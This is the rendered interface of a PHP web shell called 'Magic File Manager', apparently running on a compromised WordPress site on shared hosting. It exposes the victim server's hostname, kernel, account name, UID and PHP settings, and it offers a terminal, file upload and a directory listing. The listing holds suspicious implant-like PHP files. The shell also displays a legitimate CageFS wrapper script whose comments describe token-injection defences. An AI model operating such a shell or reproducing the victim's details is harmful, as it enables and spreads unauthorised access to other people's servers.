✨ Magic File Manager

🚀 Hostinger Optimized
🖥️ Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
🐘 PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

📁 /home/pnj6a06usxf3/public_html/korwalsolars.com
$
📂 /homepnj6a06usxf3public_htmlkorwalsolars.com

📁 Create New

⬆️ Upload File

📊 Max upload: 32M | 📦 Max POST: 128M
📄 Name📊 Size🔒 Perm⚡ Actions
📁 .tmb--drwxrwxrwx
📁 .well-known--drwxr-xr-x
📁 cgi-bin--drwxr-xr-x
📁 thekolwarsolar--drwxr-xr-x
📁 wp-admin--drwxr-xr-x
📁 wp-content--drwxr-xr-x
📁 wp-includes--drwxr-xr-x
📁 zwedgsehhg--drwxr-xr-x
📄 error_log1.2 MB-rw-r--r--
🐘 index.php0.396 KB-rw-r--r--
📃 license.txt19.437 KB-rw-r--r--
🐘 log.php63.893 KB-rw-r--r--
🌐 readme.html7.233 KB-rw-r--r--
📃 robots.txt1.127 KB-rw-r--r--
🐘 sid3.php55.304 KB-rw-r--r--
📦 thekolwarsolar.zip29.69 MB-rw-r--r--
🐘 wp-activate.php7.537 KB-rw-r--r--
🐘 wp-blog-header.php0.343 KB-rw-r--r--
🐘 wp-comments-post.php2.269 KB-rw-r--r--
🐘 wp-config-sample.php3.261 KB-rw-r--r--
🐘 wp-config.php3.54 KB-rw-r--r--
🐘 wp-cron.php5.485 KB-rw-r--r--
🐘 wp-links-opml.php2.435 KB-rw-r--r--
🐘 wp-load.php3.845 KB-rw-r--r--
🐘 wp-login.php51.305 KB-rw-r--r--
🐘 wp-mail.php8.522 KB-rw-r--r--
🐘 wp-postnews.php12.595 KB-rw-r--r--
🐘 wp-settings.php32.375 KB-rw-r--r--
🐘 wp-signup.php34.259 KB-rw-r--r--
🐘 wp-trackback.php5.27 KB-rw-r--r--
🐘 xmlrpc.php3.13 KB-rw-r--r--
✨ File Manager Magic · Hostinger Optimized ✨
#!/bin/bash ##CageFS proxyexec wrapper - ver 18 if [[ $EUID -eq 0 ]]; then echo 'Cannot be run as root' exit 1 fi USR=`/usr/bin/whoami` USER_TOKEN_PATH="/var/.cagefs/.cagefs.token" WEBSITE_ISOLATION_FLAG="/opt/cloudlinux/flags/enabled-flags.d/website-isolation.flag" # Trust boundary for the website-isolation token path: it must point # directly at the regular file that create_website_token_directory() # creates inside its root-owned per-user storage area. That area is # /var/cagefs///.cagefs/website/... on the host and is # bind-mounted into the cage at /var/.cagefs/website/... — both views # are accepted because libenter.enter_site() picks one or the other # depending on whether it runs inside or outside the cage. The file # itself is never a symlink, so we reject symlinks outright rather # than canonicalizing with realpath. Without this gate the attacker # controls both the env var WEBSITE_TOKEN_PATH and the file contents # at that path; the file contents land in $TOKEN, which is embedded # into the ssh remote command argv below and re-parsed by the remote # shell — so shell metacharacters in the file would execute on the # origin host. (Slite #7 / CLOS-4490) if [[ -f "$WEBSITE_ISOLATION_FLAG" && -n "$WEBSITE_TOKEN_PATH" ]]; then if [[ -L "$WEBSITE_TOKEN_PATH" ]]; then echo "cagefs.proxy: WEBSITE_TOKEN_PATH '$WEBSITE_TOKEN_PATH' must not be a symlink" >&2 exit 1 fi if [[ ! -f "$WEBSITE_TOKEN_PATH" ]]; then echo "cagefs.proxy: WEBSITE_TOKEN_PATH '$WEBSITE_TOKEN_PATH' is not an existing regular file" >&2 exit 1 fi # Reject `..` as a path component so the prefix check below cannot # be bypassed via traversal (e.g. /var/cagefs/../etc/passwd matches # the /var/cagefs/* glob but resolves outside the trusted area). case "$WEBSITE_TOKEN_PATH" in */../*|*/..) echo "cagefs.proxy: WEBSITE_TOKEN_PATH '$WEBSITE_TOKEN_PATH' must not contain '..' path components" >&2 exit 1 ;; esac case "$WEBSITE_TOKEN_PATH" in /var/cagefs/*|/var/.cagefs/*) ;; *) echo "cagefs.proxy: WEBSITE_TOKEN_PATH must be under /var/cagefs/ or /var/.cagefs/ (got '$WEBSITE_TOKEN_PATH')" >&2 exit 1 ;; esac USER_TOKEN_PATH="$WEBSITE_TOKEN_PATH" fi # The -L/-f/prefix gate above is defense-in-depth, TOCTOU is not exploitable because the # forwarded $TOKEN must still equal the legit on-disk bytes that the # origin's cagefs.server reads with open(..., O_NOFOLLOW) from a # uid-derived path (see find_website_by_token() in # proxyexec/cagefs.server.c) — a swapped symlink redirects what we # cat, never what the server reads, so a TOCTOU substitution can only # replace the forwarded bytes with something that fails the server's # constant-time comparison. TOKEN=`/bin/cat ${USER_TOKEN_PATH}` # Tokens are generated as fixed-length alphanumerics by # _generate_password() in py/clcagefslib/webisolation/jail_utils.py and # by the corresponding C helper. Any non-alphanumeric byte means the # token file was tampered with — refuse to forward it into the ssh # remote command, where the remote shell would re-parse metacharacters. # Use POSIX `case` rather than `[[ =~ ]]` because the wrapper is also # invoked through `sh` (e.g. jenkins_tests/rpm_tests/p_cagefs/ # 939-environment_var-check.sh), and dash treats `[[` as a missing # command — the regex form would falsely trip and exit the script. case "$TOKEN" in "" | *[!A-Za-z0-9]*) echo "cagefs.proxy: refusing to forward malformed token from $USER_TOKEN_PATH" >&2 exit 1 ;; esac # It's user's tmp directory and write to it is secure procedure # because this script is running only under usual user PIDFILE="/tmp/.cagefs.proxy.$$" USER_INTERRUPT=13 CWD=`pwd` ctrl_c_handler() { if [[ -f "$PIDFILE" ]]; then pid=`/bin/cat $PIDFILE` /bin/rm -f $PIDFILE > /dev/null 2>&1 /bin/kill -s SIGINT "$pid" > /dev/null 2>&1 fi exit $USER_INTERRUPT } if [[ -e /var/.cagefs/origin ]]; then ORIGIN=`/bin/cat /var/.cagefs/origin` REMOTE="/usr/bin/ssh -F /etc/ssh/cagefs-rexec_config $USR@$ORIGIN" $REMOTE CAGEFS_TOKEN="$TOKEN" /usr/sbin/proxyexec -c cagefs.sock "$USR" "$CWD" EXIM $$ "$@" RETVAL=$? else trap 'ctrl_c_handler' 2 CAGEFS_TOKEN="$TOKEN" /usr/sbin/proxyexec -c cagefs.sock "$USR" "$CWD" EXIM $$ "$@" RETVAL=$? /bin/rm -f $PIDFILE > /dev/null 2>&1 fi exit $RETVAL